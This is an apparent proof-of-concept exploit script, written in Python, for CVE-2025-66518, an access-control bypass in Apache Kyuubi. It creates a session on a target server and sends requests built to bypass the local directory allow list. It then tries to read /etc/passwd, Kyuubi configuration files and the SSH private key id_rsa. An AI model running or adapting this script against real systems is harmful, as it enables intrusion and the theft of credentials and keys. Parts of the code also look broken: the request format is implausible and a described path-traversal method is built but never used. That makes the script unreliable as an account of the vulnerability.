CVE-2025-66518 Apache Kyuubi Server访问控制绕过漏洞

# CVE-2025-66518 PoC - Apache Kyuubi Server Access Control Bypass # Affected Version: Apache Kyuubi 1.6.0 - 1.10.2 # This PoC demonstrates bypassing kyuubi.session.local.dir.allow.list restriction import requests import json TARGET_HOST = "http://target-kyuubi-server:10099" SESSION_USER = "test_user" SESSION_PASSWORD = "test_password" def create_kyuubi_session(): """Create a new Kyuubi session with frontend protocol""" session_config = { "conf": { "spark.master": "local[*]", "kyuubi.session.engine.initialize.startup.timeout": "600s" }, "engineType": "spark", "fetchSchema": True, "user": SESSION_USER } response = requests.post( f"{TARGET_HOST}/api/kyuubi/session", json=session_config, headers={"Content-Type": "application/json"} ) return response.json() def bypass_allow_list(session_handle, file_path): """Bypass kyuubi.session.local.dir.allow.list to read arbitrary files This method exploits the path traversal vulnerability in Kyuubi frontend protocol to access files outside the allowed directory list. """ # Method 1: Direct absolute path access exploit_request = { "sessionHandle": session_handle, "operationHandle": { "operationType": "EXECUTE_STATEMENT", "statement": f"LOAD TEXTFILE '{file_path}'", "runAsync": False, "queryTimeout": 300 }, "confOverlay": {} } # Method 2: Path traversal using relative paths # Example: '../../../etc/passwd' or '../../../opt/kyuubi/conf/secrets.conf' traversal_statement = f"LOAD TEXTFILE '{file_path}'" response = requests.post( f"{TARGET_HOST}/api/kyuubi/operation", json=exploit_request, headers={"Content-Type": "application/json"} ) return response.json() def main(): """Main exploit function""" print("[*] CVE-2025-66518 Apache Kyuubi Access Control Bypass Exploit") print("[*] Target: " + TARGET_HOST) # Step 1: Create session print("\n[+] Step 1: Creating Kyuubi session...") session = create_kyuubi_session() session_handle = session.get("sessionHandle") if not session_handle: print("[-] Failed to create session") return print(f"[+] Session created: {session_handle}") # Step 2: Bypass allow list to read sensitive files target_files = [ "/etc/passwd", "/opt/kyuubi/conf/kyuubi-defaults.conf", "/opt/kyuubi/conf/kyuubi-env.sh", "/home/kyuubi/.ssh/id_rsa" ] print("\n[+] Step 2: Attempting to bypass allow list restrictions...") for file_path in target_files: print(f"\n[*] Attempting to read: {file_path}") result = bypass_allow_list(session_handle, file_path) print(f"[*] Result: {json.dumps(result, indent=2)}") if __name__ == "__main__": main()